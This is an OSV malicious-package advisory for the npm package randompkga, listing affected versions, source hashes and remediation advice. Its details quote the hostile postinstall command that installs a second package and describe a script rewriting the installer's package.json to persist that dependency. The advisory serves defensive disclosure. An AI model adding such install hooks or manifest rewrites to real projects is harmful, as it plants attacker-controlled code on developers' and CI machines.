MAL-2026-16255

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/randompkga/MAL-2026-16255.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16255
Aliases
  • GHSA-532p-c872-3926
Published
2026-09-17T14:59:20Z
Modified
2026-09-18T01:00:06Z
Summary
Malicious code in randompkga (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c)

package.json declares a postinstall lifecycle script cd "$INIT_CWD" && npm i randompkgb that, on npm install, installs the additional npm package randompkgb into the consumer's project. A companion postinstall.js reads the installer's own package.json at $INIT_CWD, sets dependencies.randompkgb = "^1.0.0", and writes the manifest back to disk, persisting the injected dependency across future installs and CI runs. The caret range is unpinned, so any current or future version of randompkgb — whose code is not present in this package and is not controlled by the installer — will be resolved and executed on the installer's machine at install time and on require. This is dependency-tree hijacking: the mechanism drops attacker-controlled third-party code into the installer's environment and rewrites source-controlled project state to make the injection durable.

Source: ghsa-malware (cfdfcd7cd3af1c7b280e6f13503a472f2b31582e239d6fac0b6cacc1709cf36f)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "GHSA-532p-c872-3926",
            "import_time": "2026-09-17T15:39:19.705140727Z",
            "modified_time": "2026-09-17T14:59:26Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "cfdfcd7cd3af1c7b280e6f13503a472f2b31582e239d6fac0b6cacc1709cf36f",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-020170",
            "import_time": "2026-09-18T00:47:16.808130853Z",
            "modified_time": "2026-09-17T23:19:17Z",
            "sha256": "31f35b98b4828f28ae12919b3dc36f3b16d71000fb390935c221de00301a1faf",
            "source": "amazon-inspector",
            "versions": [
                "1.0.9"
            ]
        },
        {
            "id": "IN-MAL-2026-020163",
            "import_time": "2026-09-18T00:47:16.445677706Z",
            "modified_time": "2026-09-17T23:18:05Z",
            "sha256": "3c67e727720af8702d674dccaf02d709f3a1c9d74827dab74e7efd87a41e0f7c",
            "source": "amazon-inspector",
            "versions": [
                "1.0.11"
            ]
        },
        {
            "id": "IN-MAL-2026-020169",
            "import_time": "2026-09-18T00:47:16.76055743Z",
            "modified_time": "2026-09-17T23:19:06Z",
            "sha256": "5616656af6ab4c55e7bec4a27cbadb608ca056e142993b2d895ab430e4740cd3",
            "source": "amazon-inspector",
            "versions": [
                "1.0.4"
            ]
        },
        {
            "id": "IN-MAL-2026-020157",
            "import_time": "2026-09-18T00:47:16.154023959Z",
            "modified_time": "2026-09-17T23:17:07Z",
            "sha256": "687b668264dbb5cc949fd4c8700e3e9684776801fa3ac7cdea2268e7ee013089",
            "source": "amazon-inspector",
            "versions": [
                "1.0.22"
            ]
        },
        {
            "id": "IN-MAL-2026-020160",
            "import_time": "2026-09-18T00:47:16.299377831Z",
            "modified_time": "2026-09-17T23:17:36Z",
            "sha256": "841ec0fb5dd7377b43d01a0781f9e373330d87ce51fe6050ec97cfdf53decb96",
            "source": "amazon-inspector",
            "versions": [
                "1.0.15"
            ]
        },
        {
            "id": "IN-MAL-2026-020158",
            "import_time": "2026-09-18T00:47:16.225724615Z",
            "modified_time": "2026-09-17T23:17:18Z",
            "sha256": "92d6bc390bc4003519b01e318613738aee9efd2c1c4b8b82af732353920ff691",
            "source": "amazon-inspector",
            "versions": [
                "1.0.13"
            ]
        },
        {
            "id": "IN-MAL-2026-020162",
            "import_time": "2026-09-18T00:47:16.387193812Z",
            "modified_time": "2026-09-17T23:17:57Z",
            "sha256": "b89603277273a7a8064c231026152b664aecb0438b62a9603055b49ec5fd9d8d",
            "source": "amazon-inspector",
            "versions": [
                "1.0.16"
            ]
        },
        {
            "id": "IN-MAL-2026-020165",
            "import_time": "2026-09-18T00:47:16.540740332Z",
            "modified_time": "2026-09-17T23:18:26Z",
            "sha256": "1c01216b25d420e56a50f3dec58ceb5f1b6a125bcd452e93a4760b19dbfb1b09",
            "source": "amazon-inspector",
            "versions": [
                "1.0.7"
            ]
        },
        {
            "id": "IN-MAL-2026-020159",
            "import_time": "2026-09-18T00:47:16.257062005Z",
            "modified_time": "2026-09-17T23:17:27Z",
            "sha256": "21d7373bdb55e4041ce5c2c54d05d875bc5e8c1f4b7d4aff0608c9c3ae263ebd",
            "source": "amazon-inspector",
            "versions": [
                "1.0.14"
            ]
        },
        {
            "id": "IN-MAL-2026-020166",
            "import_time": "2026-09-18T00:47:16.595667414Z",
            "modified_time": "2026-09-17T23:18:35Z",
            "sha256": "2474f480fc3f08d60dac9d98810c1eb4a8ad9522cefa9d9e9f662f4e5681d0f6",
            "source": "amazon-inspector",
            "versions": [
                "1.0.5"
            ]
        },
        {
            "id": "IN-MAL-2026-020161",
            "import_time": "2026-09-18T00:47:16.34819109Z",
            "modified_time": "2026-09-17T23:17:46Z",
            "sha256": "47f8891eb50f89d2b0db9c8ec91d0fcc23d6b76259cc68679921efe6ade40f59",
            "source": "amazon-inspector",
            "versions": [
                "1.0.17"
            ]
        },
        {
            "id": "IN-MAL-2026-020167",
            "import_time": "2026-09-18T00:47:16.69218514Z",
            "modified_time": "2026-09-17T23:18:46Z",
            "sha256": "4adb3d27de377587364daef0e1b953f2827f5fab995467fa8e12894413a12678",
            "source": "amazon-inspector",
            "versions": [
                "1.0.10"
            ]
        },
        {
            "id": "IN-MAL-2026-020164",
            "import_time": "2026-09-18T00:47:16.494332084Z",
            "modified_time": "2026-09-17T23:18:15Z",
            "sha256": "c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c",
            "source": "amazon-inspector",
            "versions": [
                "1.0.12"
            ]
        },
        {
            "id": "IN-MAL-2026-020168",
            "import_time": "2026-09-18T00:47:16.726882063Z",
            "modified_time": "2026-09-17T23:18:54Z",
            "sha256": "1d2ff575494a8b11d2baf943c075c91e289f58eb3f3d84a325c6960bf775c42d",
            "source": "amazon-inspector",
            "versions": [
                "1.0.8"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / randompkga

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.4
1.0.5
1.0.7
1.0.8
1.0.9
1.0.10
1.0.11
1.0.12
1.0.13
1.0.14
1.0.15
1.0.16
1.0.17
1.0.22

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "686d3e2811e03e83345e02758e6a3cfe20b8034958e7a4b6978ab28c6fa3f51f",
            "tlsh": "f8d0a7246c61983354c04a581ea6900676509e1b00047c0c67e7686892fea7324fe25d"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/randompkga/MAL-2026-16255.json"